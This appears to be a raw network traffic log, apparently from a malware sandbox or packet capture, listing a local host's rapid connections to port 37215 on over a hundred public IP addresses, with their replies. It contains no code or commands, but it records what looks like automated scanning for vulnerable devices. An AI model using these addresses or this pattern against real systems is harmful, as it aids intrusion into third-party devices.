Aug 1, 2024 15:34:55.820164919 CEST	37200	37215	192.168.2.14	197.162.84.249
Aug 1, 2024 15:34:55.820167065 CEST	58456	37215	192.168.2.14	197.96.34.47
Aug 1, 2024 15:34:55.820178986 CEST	43540	37215	192.168.2.14	41.91.200.66
Aug 1, 2024 15:34:55.820185900 CEST	37215	51520	157.202.9.150	192.168.2.14
Aug 1, 2024 15:34:55.820208073 CEST	50020	37215	192.168.2.14	154.127.74.3
Aug 1, 2024 15:34:55.820210934 CEST	52192	37215	192.168.2.14	41.148.255.61
Aug 1, 2024 15:34:55.820210934 CEST	34146	37215	192.168.2.14	41.65.179.28
Aug 1, 2024 15:34:55.820220947 CEST	47294	37215	192.168.2.14	136.114.60.196
Aug 1, 2024 15:34:55.820228100 CEST	51520	37215	192.168.2.14	157.202.9.150
Aug 1, 2024 15:34:55.820265055 CEST	34854	37215	192.168.2.14	197.203.149.34
Aug 1, 2024 15:34:55.820265055 CEST	53626	37215	192.168.2.14	197.178.94.171
Aug 1, 2024 15:34:55.820270061 CEST	45048	37215	192.168.2.14	188.157.140.238
Aug 1, 2024 15:34:55.820288897 CEST	44292	37215	192.168.2.14	157.26.48.200
Aug 1, 2024 15:34:55.820307016 CEST	47556	37215	192.168.2.14	183.227.14.205
Aug 1, 2024 15:34:55.820307016 CEST	53580	37215	192.168.2.14	157.246.8.72
Aug 1, 2024 15:34:55.820324898 CEST	35206	37215	192.168.2.14	197.141.49.56
Aug 1, 2024 15:34:55.820332050 CEST	55876	37215	192.168.2.14	207.13.138.47
Aug 1, 2024 15:34:55.820333958 CEST	56414	37215	192.168.2.14	41.167.1.18
Aug 1, 2024 15:34:55.820358038 CEST	58988	37215	192.168.2.14	41.222.247.13
Aug 1, 2024 15:34:55.820370913 CEST	41424	37215	192.168.2.14	41.113.19.213
Aug 1, 2024 15:34:55.820378065 CEST	60348	37215	192.168.2.14	65.126.194.229
Aug 1, 2024 15:34:55.820391893 CEST	52904	37215	192.168.2.14	157.23.196.255
Aug 1, 2024 15:34:55.820396900 CEST	34888	37215	192.168.2.14	41.25.92.177
Aug 1, 2024 15:34:55.820396900 CEST	35070	37215	192.168.2.14	41.95.168.143
Aug 1, 2024 15:34:55.820399046 CEST	33832	37215	192.168.2.14	197.75.226.1
Aug 1, 2024 15:34:55.820430040 CEST	49552	37215	192.168.2.14	41.177.172.89
Aug 1, 2024 15:34:55.820457935 CEST	51520	37215	192.168.2.14	157.202.9.150
Aug 1, 2024 15:34:55.820501089 CEST	51520	37215	192.168.2.14	157.202.9.150
Aug 1, 2024 15:34:55.840369940 CEST	37215	51960	208.102.137.140	192.168.2.14
Aug 1, 2024 15:34:55.840420961 CEST	37215	57376	157.180.101.63	192.168.2.14
Aug 1, 2024 15:34:55.840429068 CEST	51960	37215	192.168.2.14	208.102.137.140
Aug 1, 2024 15:34:55.840593100 CEST	51960	37215	192.168.2.14	208.102.137.140
Aug 1, 2024 15:34:55.840615988 CEST	51960	37215	192.168.2.14	208.102.137.140
Aug 1, 2024 15:34:55.842436075 CEST	49552	37215	192.168.2.14	41.177.172.89
Aug 1, 2024 15:34:55.842437983 CEST	35070	37215	192.168.2.14	41.95.168.143
Aug 1, 2024 15:34:55.842437983 CEST	34888	37215	192.168.2.14	41.25.92.177
Aug 1, 2024 15:34:55.842439890 CEST	41424	37215	192.168.2.14	41.113.19.213
Aug 1, 2024 15:34:55.842443943 CEST	52904	37215	192.168.2.14	157.23.196.255
Aug 1, 2024 15:34:55.842447042 CEST	58988	37215	192.168.2.14	41.222.247.13
Aug 1, 2024 15:34:55.842454910 CEST	50020	37215	192.168.2.14	154.127.74.3
Aug 1, 2024 15:34:55.842458010 CEST	33832	37215	192.168.2.14	197.75.226.1
Aug 1, 2024 15:34:55.842458010 CEST	55458	37215	192.168.2.14	197.102.57.118
Aug 1, 2024 15:34:55.842463017 CEST	36142	37215	192.168.2.14	163.98.100.231
Aug 1, 2024 15:34:55.842463970 CEST	35206	37215	192.168.2.14	197.141.49.56
Aug 1, 2024 15:34:55.842464924 CEST	58456	37215	192.168.2.14	197.96.34.47
Aug 1, 2024 15:34:55.842464924 CEST	35460	37215	192.168.2.14	157.15.47.253
Aug 1, 2024 15:34:55.842464924 CEST	52562	37215	192.168.2.14	197.245.144.135
Aug 1, 2024 15:34:55.842473984 CEST	53694	37215	192.168.2.14	197.145.196.151
Aug 1, 2024 15:34:55.842473984 CEST	58768	37215	192.168.2.14	41.183.132.81
Aug 1, 2024 15:34:55.842475891 CEST	33428	37215	192.168.2.14	157.7.123.100
Aug 1, 2024 15:34:55.842475891 CEST	35646	37215	192.168.2.14	41.165.0.32
Aug 1, 2024 15:34:55.842475891 CEST	50886	37215	192.168.2.14	84.84.190.161
Aug 1, 2024 15:34:55.842475891 CEST	50458	37215	192.168.2.14	197.185.58.243
Aug 1, 2024 15:34:55.842494965 CEST	51296	37215	192.168.2.14	197.35.116.111
Aug 1, 2024 15:34:55.842494965 CEST	45514	37215	192.168.2.14	157.82.15.33
Aug 1, 2024 15:34:55.842679977 CEST	37215	52512	197.43.214.179	192.168.2.14
Aug 1, 2024 15:34:55.846435070 CEST	51520	37215	192.168.2.14	157.202.9.150
Aug 1, 2024 15:34:55.846435070 CEST	60348	37215	192.168.2.14	65.126.194.229
Aug 1, 2024 15:34:55.846435070 CEST	47556	37215	192.168.2.14	183.227.14.205
Aug 1, 2024 15:34:55.846446037 CEST	47294	37215	192.168.2.14	136.114.60.196
Aug 1, 2024 15:34:55.846448898 CEST	46676	37215	192.168.2.14	157.37.176.1
Aug 1, 2024 15:34:55.846452951 CEST	40864	37215	192.168.2.14	197.84.194.246
Aug 1, 2024 15:34:55.846455097 CEST	37950	37215	192.168.2.14	210.95.223.139
Aug 1, 2024 15:34:55.846457005 CEST	50974	37215	192.168.2.14	197.30.140.131
Aug 1, 2024 15:34:55.846457005 CEST	51922	37215	192.168.2.14	41.189.120.137
Aug 1, 2024 15:34:55.846463919 CEST	54770	37215	192.168.2.14	157.240.104.101
Aug 1, 2024 15:34:55.846465111 CEST	45166	37215	192.168.2.14	41.253.96.70
Aug 1, 2024 15:34:55.846468925 CEST	59474	37215	192.168.2.14	170.68.156.59
Aug 1, 2024 15:34:55.846473932 CEST	34146	37215	192.168.2.14	41.65.179.28
Aug 1, 2024 15:34:55.849178076 CEST	37215	36870	41.221.227.83	192.168.2.14
Aug 1, 2024 15:34:55.849432945 CEST	37215	52480	157.251.61.118	192.168.2.14
Aug 1, 2024 15:34:55.849452972 CEST	37215	55220	77.89.16.248	192.168.2.14
Aug 1, 2024 15:34:55.849462032 CEST	37215	54494	41.94.14.140	192.168.2.14
Aug 1, 2024 15:34:55.849473000 CEST	37215	45636	41.92.13.87	192.168.2.14
Aug 1, 2024 15:34:55.849487066 CEST	37215	41752	41.81.68.60	192.168.2.14
Aug 1, 2024 15:34:55.849504948 CEST	37215	54194	71.115.192.50	192.168.2.14
Aug 1, 2024 15:34:55.849587917 CEST	37215	58020	197.83.5.96	192.168.2.14
Aug 1, 2024 15:34:55.849597931 CEST	37215	54052	148.35.167.224	192.168.2.14
Aug 1, 2024 15:34:55.849617004 CEST	37215	39008	197.67.20.98	192.168.2.14
Aug 1, 2024 15:34:55.849627018 CEST	37215	57698	197.51.110.122	192.168.2.14
Aug 1, 2024 15:34:55.849699974 CEST	37215	48254	41.114.115.214	192.168.2.14
Aug 1, 2024 15:34:55.849709988 CEST	37215	56062	41.219.12.182	192.168.2.14
Aug 1, 2024 15:34:55.849765062 CEST	37215	51300	157.118.102.239	192.168.2.14
Aug 1, 2024 15:34:55.849776030 CEST	37215	50458	197.185.58.243	192.168.2.14
Aug 1, 2024 15:34:55.849786043 CEST	37215	45166	41.253.96.70	192.168.2.14
Aug 1, 2024 15:34:55.849891901 CEST	37215	50886	84.84.190.161	192.168.2.14
Aug 1, 2024 15:34:55.849903107 CEST	37215	35646	41.165.0.32	192.168.2.14
Aug 1, 2024 15:34:55.849912882 CEST	37215	45514	157.82.15.33	192.168.2.14
Aug 1, 2024 15:34:55.849924088 CEST	37215	51296	197.35.116.111	192.168.2.14
Aug 1, 2024 15:34:55.849934101 CEST	37215	52562	197.245.144.135	192.168.2.14
Aug 1, 2024 15:34:55.849952936 CEST	37215	33428	157.7.123.100	192.168.2.14
Aug 1, 2024 15:34:55.849963903 CEST	37215	35460	157.15.47.253	192.168.2.14
Aug 1, 2024 15:34:55.850428104 CEST	56414	37215	192.168.2.14	41.167.1.18
Aug 1, 2024 15:34:55.850444078 CEST	42060	37215	192.168.2.14	198.59.102.193
Aug 1, 2024 15:34:55.850455999 CEST	59494	37215	192.168.2.14	157.98.235.131
Aug 1, 2024 15:34:55.850487947 CEST	53580	37215	192.168.2.14	157.246.8.72
Aug 1, 2024 15:34:55.850894928 CEST	37215	58768	41.183.132.81	192.168.2.14
Aug 1, 2024 15:34:55.850913048 CEST	37215	36142	163.98.100.231	192.168.2.14
Aug 1, 2024 15:34:55.851002932 CEST	37215	53694	197.145.196.151	192.168.2.14
Aug 1, 2024 15:34:55.851042986 CEST	37215	59474	170.68.156.59	192.168.2.14
Aug 1, 2024 15:34:55.851054907 CEST	37215	51922	41.189.120.137	192.168.2.14
Aug 1, 2024 15:34:55.851073027 CEST	37215	55458	197.102.57.118	192.168.2.14
Aug 1, 2024 15:34:55.851366997 CEST	37215	35318	42.88.115.24	192.168.2.14
Aug 1, 2024 15:34:55.851388931 CEST	37215	42060	198.59.102.193	192.168.2.14
Aug 1, 2024 15:34:55.853466034 CEST	37215	50974	197.30.140.131	192.168.2.14
Aug 1, 2024 15:34:55.853476048 CEST	37215	37950	210.95.223.139	192.168.2.14
Aug 1, 2024 15:34:55.853487015 CEST	37215	40864	197.84.194.246	192.168.2.14
Aug 1, 2024 15:34:55.853528023 CEST	37215	46676	157.37.176.1	192.168.2.14
Aug 1, 2024 15:34:55.853538990 CEST	37215	39614	157.240.233.234	192.168.2.14
Aug 1, 2024 15:34:55.853549004 CEST	37215	47550	157.43.122.94	192.168.2.14
Aug 1, 2024 15:34:55.853559971 CEST	37215	43348	107.71.89.123	192.168.2.14
Aug 1, 2024 15:34:55.853569031 CEST	37215	37504	197.66.231.176	192.168.2.14
Aug 1, 2024 15:34:55.853580952 CEST	37215	41936	41.103.132.220	192.168.2.14
Aug 1, 2024 15:34:55.853590012 CEST	37215	58956	157.222.213.96	192.168.2.14
Aug 1, 2024 15:34:55.854428053 CEST	51066	37215	192.168.2.14	157.181.139.104
Aug 1, 2024 15:34:55.854450941 CEST	52192	37215	192.168.2.14	41.148.255.61
Aug 1, 2024 15:34:55.856410980 CEST	37215	51066	157.181.139.104	192.168.2.14
Aug 1, 2024 15:34:55.856422901 CEST	37215	49558	157.50.154.212	192.168.2.14
Aug 1, 2024 15:34:55.856431961 CEST	37215	54770	157.240.104.101	192.168.2.14
Aug 1, 2024 15:34:55.856451035 CEST	37215	59494	157.98.235.131	192.168.2.14
Aug 1, 2024 15:34:55.856461048 CEST	37215	58456	197.96.34.47	192.168.2.14
Aug 1, 2024 15:34:55.856470108 CEST	37215	37200	197.162.84.249	192.168.2.14
Aug 1, 2024 15:34:55.856479883 CEST	37215	43540	41.91.200.66	192.168.2.14
Aug 1, 2024 15:34:55.856493950 CEST	37215	52192	41.148.255.61	192.168.2.14
Aug 1, 2024 15:34:55.856504917 CEST	37215	34146	41.65.179.28	192.168.2.14
Aug 1, 2024 15:34:55.856513977 CEST	37215	50020	154.127.74.3	192.168.2.14
Aug 1, 2024 15:34:55.856522083 CEST	37215	47294	136.114.60.196	192.168.2.14
Aug 1, 2024 15:34:55.856532097 CEST	37215	34854	197.203.149.34	192.168.2.14
Aug 1, 2024 15:34:55.856540918 CEST	37215	53626	197.178.94.171	192.168.2.14
Aug 1, 2024 15:34:55.856550932 CEST	37215	45048	188.157.140.238	192.168.2.14
Aug 1, 2024 15:34:55.856559992 CEST	37215	44292	157.26.48.200	192.168.2.14
Aug 1, 2024 15:34:55.856570959 CEST	37215	47556	183.227.14.205	192.168.2.14
Aug 1, 2024 15:34:55.856580019 CEST	37215	53580	157.246.8.72	192.168.2.14
Aug 1, 2024 15:34:55.856589079 CEST	37215	35206	197.141.49.56	192.168.2.14
Aug 1, 2024 15:34:55.856597900 CEST	37215	55876	207.13.138.47	192.168.2.14
Aug 1, 2024 15:34:55.856607914 CEST	37215	56414	41.167.1.18	192.168.2.14
Aug 1, 2024 15:34:55.856616974 CEST	37215	60348	65.126.194.229	192.168.2.14
Aug 1, 2024 15:34:55.856626987 CEST	37215	58988	41.222.247.13	192.168.2.14
Aug 1, 2024 15:34:55.856636047 CEST	37215	41424	41.113.19.213	192.168.2.14
Aug 1, 2024 15:34:55.856646061 CEST	37215	52904	157.23.196.255	192.168.2.14
Aug 1, 2024 15:34:55.856656075 CEST	37215	33832	197.75.226.1	192.168.2.14
Aug 1, 2024 15:34:55.856664896 CEST	37215	34888	41.25.92.177	192.168.2.14
Aug 1, 2024 15:34:55.856673956 CEST	37215	35070	41.95.168.143	192.168.2.14
Aug 1, 2024 15:34:55.856683969 CEST	37215	49552	41.177.172.89	192.168.2.14
Aug 1, 2024 15:34:55.863491058 CEST	37215	51520	157.202.9.150	192.168.2.14
Aug 1, 2024 15:34:55.863550901 CEST	37215	51960	208.102.137.140	192.168.2.14
Aug 1, 2024 15:34:55.863739014 CEST	37215	35070	41.95.168.143	192.168.2.14
Aug 1, 2024 15:34:55.863749027 CEST	37215	49552	41.177.172.89	192.168.2.14
Aug 1, 2024 15:34:55.863759995 CEST	37215	41424	41.113.19.213	192.168.2.14
Aug 1, 2024 15:34:55.863769054 CEST	37215	34888	41.25.92.177	192.168.2.14
Aug 1, 2024 15:34:55.863778114 CEST	37215	52904	157.23.196.255	192.168.2.14
Aug 1, 2024 15:34:55.863787889 CEST	37215	58988	41.222.247.13	192.168.2.14
Aug 1, 2024 15:34:55.863796949 CEST	37215	50020	154.127.74.3	192.168.2.14
Aug 1, 2024 15:34:55.863806009 CEST	37215	36142	163.98.100.231	192.168.2.14
Aug 1, 2024 15:34:55.864082098 CEST	37215	33832	197.75.226.1	192.168.2.14
Aug 1, 2024 15:34:55.864171982 CEST	37215	35206	197.141.49.56	192.168.2.14
Aug 1, 2024 15:34:55.864181995 CEST	37215	55458	197.102.57.118	192.168.2.14
Aug 1, 2024 15:34:55.864192009 CEST	37215	58456	197.96.34.47	192.168.2.14
Aug 1, 2024 15:34:55.864211082 CEST	37215	35460	157.15.47.253	192.168.2.14
Aug 1, 2024 15:34:55.864221096 CEST	37215	52562	197.245.144.135	192.168.2.14
Aug 1, 2024 15:34:55.864228964 CEST	37215	33428	157.7.123.100	192.168.2.14
Aug 1, 2024 15:34:55.864233017 CEST	37215	53694	197.145.196.151	192.168.2.14
Aug 1, 2024 15:34:55.864242077 CEST	37215	58768	41.183.132.81	192.168.2.14
Aug 1, 2024 15:34:55.864259005 CEST	37215	35646	41.165.0.32	192.168.2.14
Aug 1, 2024 15:34:55.864268064 CEST	37215	50886	84.84.190.161	192.168.2.14
Aug 1, 2024 15:34:55.864320040 CEST	37215	50458	197.185.58.243	192.168.2.14
Aug 1, 2024 15:34:55.864330053 CEST	37215	51296	197.35.116.111	192.168.2.14
Aug 1, 2024 15:34:55.864339113 CEST	37215	45514	157.82.15.33	192.168.2.14
Aug 1, 2024 15:34:55.864357948 CEST	37215	47294	136.114.60.196	192.168.2.14
Aug 1, 2024 15:34:55.864367008 CEST	37215	46676	157.37.176.1	192.168.2.14
Aug 1, 2024 15:34:55.864375114 CEST	37215	51520	157.202.9.150	192.168.2.14
Aug 1, 2024 15:34:55.864382982 CEST	37215	37950	210.95.223.139	192.168.2.14
Aug 1, 2024 15:34:55.864393950 CEST	37215	60348	65.126.194.229	192.168.2.14
Aug 1, 2024 15:34:55.864403963 CEST	37215	47556	183.227.14.205	192.168.2.14
Aug 1, 2024 15:34:55.864459038 CEST	37215	51922	41.189.120.137	192.168.2.14
Aug 1, 2024 15:34:55.864469051 CEST	37215	50974	197.30.140.131	192.168.2.14
Aug 1, 2024 15:34:55.864478111 CEST	37215	40864	197.84.194.246	192.168.2.14
Aug 1, 2024 15:34:55.864497900 CEST	37215	45166	41.253.96.70	192.168.2.14
Aug 1, 2024 15:34:55.864943981 CEST	37215	54770	157.240.104.101	192.168.2.14
Aug 1, 2024 15:34:55.864953995 CEST	37215	59474	170.68.156.59	192.168.2.14
Aug 1, 2024 15:34:55.864993095 CEST	37215	34146	41.65.179.28	192.168.2.14
Aug 1, 2024 15:34:55.865003109 CEST	37215	56414	41.167.1.18	192.168.2.14
Aug 1, 2024 15:34:55.865010023 CEST	37215	42060	198.59.102.193	192.168.2.14
Aug 1, 2024 15:34:55.865015030 CEST	37215	59494	157.98.235.131	192.168.2.14
Aug 1, 2024 15:34:55.865025997 CEST	37215	53580	157.246.8.72	192.168.2.14
Aug 1, 2024 15:34:55.865036964 CEST	37215	51066	157.181.139.104	192.168.2.14
Aug 1, 2024 15:34:55.865046024 CEST	37215	52192	41.148.255.61	192.168.2.14
Aug 1, 2024 15:34:55.890399933 CEST	37215	34740	41.227.113.252	192.168.2.14
Aug 1, 2024 15:34:55.898530006 CEST	37215	55876	207.13.138.47	192.168.2.14
Aug 1, 2024 15:34:55.898540974 CEST	37215	44292	157.26.48.200	192.168.2.14
Aug 1, 2024 15:34:55.898559093 CEST	37215	53626	197.178.94.171	192.168.2.14
Aug 1, 2024 15:34:55.898571014 CEST	37215	45048	188.157.140.238	192.168.2.14
Aug 1, 2024 15:34:55.898588896 CEST	37215	34854	197.203.149.34	192.168.2.14
Aug 1, 2024 15:34:55.898619890 CEST	37215	43540	41.91.200.66	192.168.2.14
Aug 1, 2024 15:34:55.898628950 CEST	37215	37200	197.162.84.249	192.168.2.14
Aug 1, 2024 15:34:55.898709059 CEST	37215	49558	157.50.154.212	192.168.2.14
Aug 1, 2024 15:34:55.898719072 CEST	37215	58956	157.222.213.96	192.168.2.14
Aug 1, 2024 15:34:55.898724079 CEST	37215	37504	197.66.231.176	192.168.2.14
Aug 1, 2024 15:34:55.898742914 CEST	37215	41936	41.103.132.220	192.168.2.14
Aug 1, 2024 15:34:55.898751974 CEST	37215	43348	107.71.89.123	192.168.2.14
Aug 1, 2024 15:34:55.898756027 CEST	37215	39614	157.240.233.234	192.168.2.14
Aug 1, 2024 15:34:55.898761034 CEST	37215	47550	157.43.122.94	192.168.2.14
Aug 1, 2024 15:34:55.898770094 CEST	37215	35318	42.88.115.24	192.168.2.14
Aug 1, 2024 15:34:55.898782015 CEST	37215	51300	157.118.102.239	192.168.2.14
Aug 1, 2024 15:34:55.898792028 CEST	37215	58020	197.83.5.96	192.168.2.14
Aug 1, 2024 15:34:55.898801088 CEST	37215	41752	41.81.68.60	192.168.2.14
Aug 1, 2024 15:34:55.898811102 CEST	37215	54494	41.94.14.140	192.168.2.14
Aug 1, 2024 15:34:55.898828983 CEST	37215	56062	41.219.12.182	192.168.2.14
Aug 1, 2024 15:34:55.898838043 CEST	37215	48254	41.114.115.214	192.168.2.14
Aug 1, 2024 15:34:55.898847103 CEST	37215	57698	197.51.110.122	192.168.2.14
Aug 1, 2024 15:34:55.898854971 CEST	37215	45636	41.92.13.87	192.168.2.14
Aug 1, 2024 15:34:55.898864985 CEST	37215	39008	197.67.20.98	192.168.2.14
Aug 1, 2024 15:34:55.898874044 CEST	37215	54052	148.35.167.224	192.168.2.14
Aug 1, 2024 15:34:55.898884058 CEST	37215	54194	71.115.192.50	192.168.2.14
Aug 1, 2024 15:34:55.898891926 CEST	37215	52480	157.251.61.118	192.168.2.14
Aug 1, 2024 15:34:55.898910999 CEST	37215	55220	77.89.16.248	192.168.2.14
Aug 1, 2024 15:34:55.898920059 CEST	37215	36870	41.221.227.83	192.168.2.14
Aug 1, 2024 15:34:55.898930073 CEST	37215	57376	157.180.101.63	192.168.2.14
Aug 1, 2024 15:34:55.898938894 CEST	37215	52512	197.43.214.179	192.168.2.14
Aug 1, 2024 15:34:55.906271935 CEST	37215	51960	208.102.137.140	192.168.2.14
Aug 1, 2024 15:34:56.841752052 CEST	47767	37215	192.168.2.14	157.195.114.238
Aug 1, 2024 15:34:56.841753960 CEST	47767	37215	192.168.2.14	200.156.103.209
Aug 1, 2024 15:34:56.841769934 CEST	47767	37215	192.168.2.14	27.57.102.199
Aug 1, 2024 15:34:56.841792107 CEST	47767	37215	192.168.2.14	41.150.28.211
Aug 1, 2024 15:34:56.841819048 CEST	47767	37215	192.168.2.14	41.103.184.180
Aug 1, 2024 15:34:56.841849089 CEST	47767	37215	192.168.2.14	157.234.123.41
Aug 1, 2024 15:34:56.841850996 CEST	47767	37215	192.168.2.14	197.5.0.94
Aug 1, 2024 15:34:56.841854095 CEST	47767	37215	192.168.2.14	197.14.237.171
Aug 1, 2024 15:34:56.841856003 CEST	47767	37215	192.168.2.14	197.51.113.103
Aug 1, 2024 15:34:56.841881990 CEST	47767	37215	192.168.2.14	41.172.52.42
Aug 1, 2024 15:34:56.841922998 CEST	47767	37215	192.168.2.14	102.97.63.75
Aug 1, 2024 15:34:56.841928005 CEST	47767	37215	192.168.2.14	41.146.96.4
Aug 1, 2024 15:34:56.841942072 CEST	47767	37215	192.168.2.14	137.123.9.9
Aug 1, 2024 15:34:56.841959953 CEST	47767	37215	192.168.2.14	12.5.237.45
Aug 1, 2024 15:34:56.841984034 CEST	47767	37215	192.168.2.14	197.238.214.184
Aug 1, 2024 15:34:56.842015028 CEST	47767	37215	192.168.2.14	157.186.91.72
Aug 1, 2024 15:34:56.842031002 CEST	47767	37215	192.168.2.14	41.3.255.40
Aug 1, 2024 15:34:56.842040062 CEST	47767	37215	192.168.2.14	41.34.162.72
Aug 1, 2024 15:34:56.842046976 CEST	47767	37215	192.168.2.14	197.6.247.128
Aug 1, 2024 15:34:56.842071056 CEST	47767	37215	192.168.2.14	41.124.231.62
Aug 1, 2024 15:34:56.842082024 CEST	47767	37215	192.168.2.14	157.3.231.133
Aug 1, 2024 15:34:56.842114925 CEST	47767	37215	192.168.2.14	157.22.48.45
Aug 1, 2024 15:34:56.842125893 CEST	47767	37215	192.168.2.14	157.239.173.146
Aug 1, 2024 15:34:56.842148066 CEST	47767	37215	192.168.2.14	157.139.217.248
Aug 1, 2024 15:34:56.842153072 CEST	47767	37215	192.168.2.14	41.243.30.216
Aug 1, 2024 15:34:56.842154026 CEST	47767	37215	192.168.2.14	157.124.238.97
Aug 1, 2024 15:34:56.842184067 CEST	47767	37215	192.168.2.14	135.171.11.223
Aug 1, 2024 15:34:56.842185020 CEST	47767	37215	192.168.2.14	157.143.77.8
Aug 1, 2024 15:34:56.842231035 CEST	47767	37215	192.168.2.14	41.112.168.9
Aug 1, 2024 15:34:56.842231989 CEST	47767	37215	192.168.2.14	197.253.172.111
Aug 1, 2024 15:34:56.842232943 CEST	47767	37215	192.168.2.14	197.139.84.49
Aug 1, 2024 15:34:56.842241049 CEST	47767	37215	192.168.2.14	41.185.100.117
Aug 1, 2024 15:34:56.842267990 CEST	47767	37215	192.168.2.14	157.97.41.229
Aug 1, 2024 15:34:56.842286110 CEST	47767	37215	192.168.2.14	197.101.242.74
Aug 1, 2024 15:34:56.842288971 CEST	47767	37215	192.168.2.14	157.23.152.245
Aug 1, 2024 15:34:56.842304945 CEST	47767	37215	192.168.2.14	197.128.51.138
Aug 1, 2024 15:34:56.842308998 CEST	47767	37215	192.168.2.14	157.16.45.114
Aug 1, 2024 15:34:56.842340946 CEST	47767	37215	192.168.2.14	197.15.213.209
Aug 1, 2024 15:34:56.842349052 CEST	47767	37215	192.168.2.14	41.26.100.186
Aug 1, 2024 15:34:56.842350006 CEST	47767	37215	192.168.2.14	157.178.58.224
Aug 1, 2024 15:34:56.842375040 CEST	47767	37215	192.168.2.14	197.91.165.77
Aug 1, 2024 15:34:56.842426062 CEST	47767	37215	192.168.2.14	197.194.38.163
Aug 1, 2024 15:34:56.842427969 CEST	47767	37215	192.168.2.14	157.141.216.101
Aug 1, 2024 15:34:56.842483997 CEST	47767	37215	192.168.2.14	157.253.143.41
Aug 1, 2024 15:34:56.842484951 CEST	47767	37215	192.168.2.14	157.6.154.255
Aug 1, 2024 15:34:56.842489004 CEST	47767	37215	192.168.2.14	197.113.21.92
Aug 1, 2024 15:34:56.842489004 CEST	47767	37215	192.168.2.14	41.38.190.41
Aug 1, 2024 15:34:56.842514038 CEST	47767	37215	192.168.2.14	157.237.238.8
Aug 1, 2024 15:34:56.842519045 CEST	47767	37215	192.168.2.14	150.202.107.179
Aug 1, 2024 15:34:56.842519999 CEST	47767	37215	192.168.2.14	41.72.112.32
Aug 1, 2024 15:34:56.842570066 CEST	47767	37215	192.168.2.14	41.76.214.25
Aug 1, 2024 15:34:56.842612028 CEST	47767	37215	192.168.2.14	89.158.201.188
Aug 1, 2024 15:34:56.842627048 CEST	47767	37215	192.168.2.14	41.193.128.149
Aug 1, 2024 15:34:56.842628002 CEST	47767	37215	192.168.2.14	177.117.141.141
Aug 1, 2024 15:34:56.842638016 CEST	47767	37215	192.168.2.14	197.249.88.214
Aug 1, 2024 15:34:56.842652082 CEST	47767	37215	192.168.2.14	197.61.148.16
Aug 1, 2024 15:34:56.842653990 CEST	47767	37215	192.168.2.14	157.143.154.46
Aug 1, 2024 15:34:56.842663050 CEST	47767	37215	192.168.2.14	122.184.139.106
Aug 1, 2024 15:34:56.842664003 CEST	47767	37215	192.168.2.14	157.172.58.12
Aug 1, 2024 15:34:56.842690945 CEST	47767	37215	192.168.2.14	117.187.225.22
Aug 1, 2024 15:34:56.842700005 CEST	47767	37215	192.168.2.14	157.142.243.64
Aug 1, 2024 15:34:56.842706919 CEST	47767	37215	192.168.2.14	197.4.230.80
Aug 1, 2024 15:34:56.842744112 CEST	47767	37215	192.168.2.14	86.145.59.248
Aug 1, 2024 15:34:56.842745066 CEST	47767	37215	192.168.2.14	41.53.153.51
Aug 1, 2024 15:34:56.842760086 CEST	47767	37215	192.168.2.14	197.115.108.30
Aug 1, 2024 15:34:56.842767954 CEST	47767	37215	192.168.2.14	157.111.86.94
Aug 1, 2024 15:34:56.842783928 CEST	47767	37215	192.168.2.14	157.252.45.45
Aug 1, 2024 15:34:56.842808008 CEST	47767	37215	192.168.2.14	157.55.99.228
Aug 1, 2024 15:34:56.842834949 CEST	47767	37215	192.168.2.14	105.61.187.232
Aug 1, 2024 15:34:56.842839003 CEST	47767	37215	192.168.2.14	157.37.145.138
Aug 1, 2024 15:34:56.842852116 CEST	47767	37215	192.168.2.14	157.116.105.171
Aug 1, 2024 15:34:56.842869997 CEST	47767	37215	192.168.2.14	197.115.117.73
Aug 1, 2024 15:34:56.842879057 CEST	47767	37215	192.168.2.14	147.57.45.29
Aug 1, 2024 15:34:56.842895985 CEST	47767	37215	192.168.2.14	197.224.223.95
Aug 1, 2024 15:34:56.842895985 CEST	47767	37215	192.168.2.14	41.119.64.108
Aug 1, 2024 15:34:56.842914104 CEST	47767	37215	192.168.2.14	41.235.161.222
Aug 1, 2024 15:34:56.842919111 CEST	47767	37215	192.168.2.14	41.242.194.188
Aug 1, 2024 15:34:56.842932940 CEST	47767	37215	192.168.2.14	41.246.219.118
Aug 1, 2024 15:34:56.842947960 CEST	47767	37215	192.168.2.14	197.92.230.23
Aug 1, 2024 15:34:56.842968941 CEST	47767	37215	192.168.2.14	157.153.88.99
Aug 1, 2024 15:34:56.843005896 CEST	47767	37215	192.168.2.14	9.105.10.4
Aug 1, 2024 15:34:56.843024969 CEST	47767	37215	192.168.2.14	79.196.100.247
Aug 1, 2024 15:34:56.843024969 CEST	47767	37215	192.168.2.14	197.69.41.146
Aug 1, 2024 15:34:56.843039989 CEST	47767	37215	192.168.2.14	41.243.3.39
Aug 1, 2024 15:34:56.843058109 CEST	47767	37215	192.168.2.14	157.84.64.80
Aug 1, 2024 15:34:56.843086004 CEST	47767	37215	192.168.2.14	162.197.87.219
Aug 1, 2024 15:34:56.843100071 CEST	47767	37215	192.168.2.14	200.72.248.194
Aug 1, 2024 15:34:56.843113899 CEST	47767	37215	192.168.2.14	115.207.220.252
Aug 1, 2024 15:34:56.843122959 CEST	47767	37215	192.168.2.14	197.117.183.255
Aug 1, 2024 15:34:56.843148947 CEST	47767	37215	192.168.2.14	197.17.154.0
Aug 1, 2024 15:34:56.843148947 CEST	47767	37215	192.168.2.14	41.229.34.33
Aug 1, 2024 15:34:56.843163967 CEST	47767	37215	192.168.2.14	41.181.87.70
Aug 1, 2024 15:34:56.843185902 CEST	47767	37215	192.168.2.14	116.122.159.73
Aug 1, 2024 15:34:56.843219042 CEST	47767	37215	192.168.2.14	197.159.91.59
Aug 1, 2024 15:34:56.843220949 CEST	47767	37215	192.168.2.14	157.147.34.89
Aug 1, 2024 15:34:56.843245983 CEST	47767	37215	192.168.2.14	157.86.186.82
Aug 1, 2024 15:34:56.843274117 CEST	47767	37215	192.168.2.14	210.206.245.32
Aug 1, 2024 15:34:56.843282938 CEST	47767	37215	192.168.2.14	41.173.175.247
Aug 1, 2024 15:34:56.843322992 CEST	47767	37215	192.168.2.14	157.222.169.28
Aug 1, 2024 15:34:56.843326092 CEST	47767	37215	192.168.2.14	197.90.214.116
Aug 1, 2024 15:34:56.843333006 CEST	47767	37215	192.168.2.14	41.114.57.144
Aug 1, 2024 15:34:56.843334913 CEST	47767	37215	192.168.2.14	157.214.156.161
Aug 1, 2024 15:34:56.843367100 CEST	47767	37215	192.168.2.14	157.36.160.152
Aug 1, 2024 15:34:56.843369007 CEST	47767	37215	192.168.2.14	41.37.117.100
Aug 1, 2024 15:34:56.843413115 CEST	47767	37215	192.168.2.14	157.84.4.1
Aug 1, 2024 15:34:56.843417883 CEST	47767	37215	192.168.2.14	197.219.253.245
